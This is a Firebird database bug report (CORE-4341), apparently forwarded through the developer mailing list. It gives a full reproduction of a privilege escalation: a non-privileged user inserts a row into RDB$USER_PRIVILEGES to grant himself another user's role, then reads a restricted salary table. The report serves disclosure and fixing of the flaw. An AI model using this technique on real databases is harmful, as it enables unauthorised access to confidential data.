non-privileged user can grant other's role to himself -----------------------------------------------------
Key: CORE-4341 URL: http://tracker.firebirdsql.org/browse/CORE-4341 Project: Firebird Core Issue Type: Bug Components: Security Affects Versions: 3.0 Alpha 2 Reporter: Pavel Zotov SQL> create database 'sec.fdb'; SQL> drop user boss; -- if exists... SQL> drop user zero; -- if exists... SQL> create user boss password 'boss'; -- this user CAN access to some data SQL> create user zero password 'zero'; -- this is non-privileged user SQL> create role rboss; SQL> create role rzero; SQL> grant rboss to boss; SQL> grant rzero to zero; SQL> create table salary(id int, s int); SQL> insert into salary values(1, 1000); SQL> commit; SQL> grant all on salary to rboss; -- we grant access only to this role; NOT to role 'RZERO' ! SQL> commit; SQL> quit; ---------------- -- now check that user BOSS can view and edit table SALARY via role RBOSS: $ /opt/fb30trnk/bin/isql /var/db/fb30/sec.fdb -user boss -pas boss -role RBOSS Database: /var/db/fb30/sec.fdb, User: boss, Role: RBOSS SQL> set list on; SQL> select current_user,current_role from rdb$database; USER BOSS ROLE RBOSS SQL> select * from salary; ID 1 S 1000 SQL> update salary set s=2000 where id=1; SQL> insert into salary values(2,2222); SQL> commit; SQL> select * from salary; ID 1 S 2000 ID 2 S 2222 -- that's OK. SQL> exit; ------------------------------------- -- now connect as non-privileged user 'ZERO' (specifying his role is optional; result is the same): $ /opt/fb30trnk/bin/isql /var/db/fb30/sec.fdb -user zero -pas zero Database: /var/db/fb30/sec.fdb, User: zero SQL> show role; RBOSS RZERO SQL> show table; SALARY SQL> select * from salary; Statement failed, SQLSTATE = 28000 no permission for SELECT access to TABLE SALARY -- OK, it should be such -- and now we insert new record in system table RDB$USER_PRIVILEGES (we CAN do this!) -- NB: we can add row either NOT specifying value for RDB$GRANTOR field or set it = 'ZERO' (i.e. current user): SQL> insert into rdb$user_privileges(rdb$user,rdb$privilege,rdb$relation_name,rdb$user_type,rdb$object_type) CON> values( 'ZERO', 'M', 'RBOSS', 8, 13 ); -- PASSED! Why ?? SQL> commit; SQL> connect '/var/db/fb30/sec.fdb' user zero password 'zero' role 'RBOSS'; Database: '/var/db/fb30/sec.fdb', User: zero, Role: RBOSS SQL> set list on; SQL> select current_user,current_role from rdb$database; USER ZERO -- i'm connect as non-privileged user... ROLE RBOSS -- ...but i HAVE grated to role of the BOSS (and I did it myself) -- final check: SQL> select * from salary; ID 1 S 2000 ID 2 S 2222 SQL> show version; ISQL Version: LI-T3.0.0.30876 Firebird 3.0 Alpha 2 Server version: Firebird/Linux/AMD/Intel/x64 (access method), version "LI-T3.0.0.30876 Firebird 3.0 Alpha 2" on disk structure version 12.0 -- This message is automatically generated by JIRA. - If you think it was sent incorrectly contact one of the administrators: http://tracker.firebirdsql.org/secure/Administrators.jspa - For more information on JIRA, see: http://www.atlassian.com/software/jira ------------------------------------------------------------------------------ Android apps run on BlackBerry 10 Introducing the new BlackBerry 10.2.1 Runtime for Android apps. Now with support for Jelly Bean, Bluetooth, Mapview and more. Get your Android app in front of a whole new audience. Start now. http://pubads.g.doubleclick.net/gampad/clk?id=124407151&iu=/4140/ostg.clktrk Firebird-Devel mailing list, web interface at https://lists.sourceforge.net/lists/listinfo/firebird-devel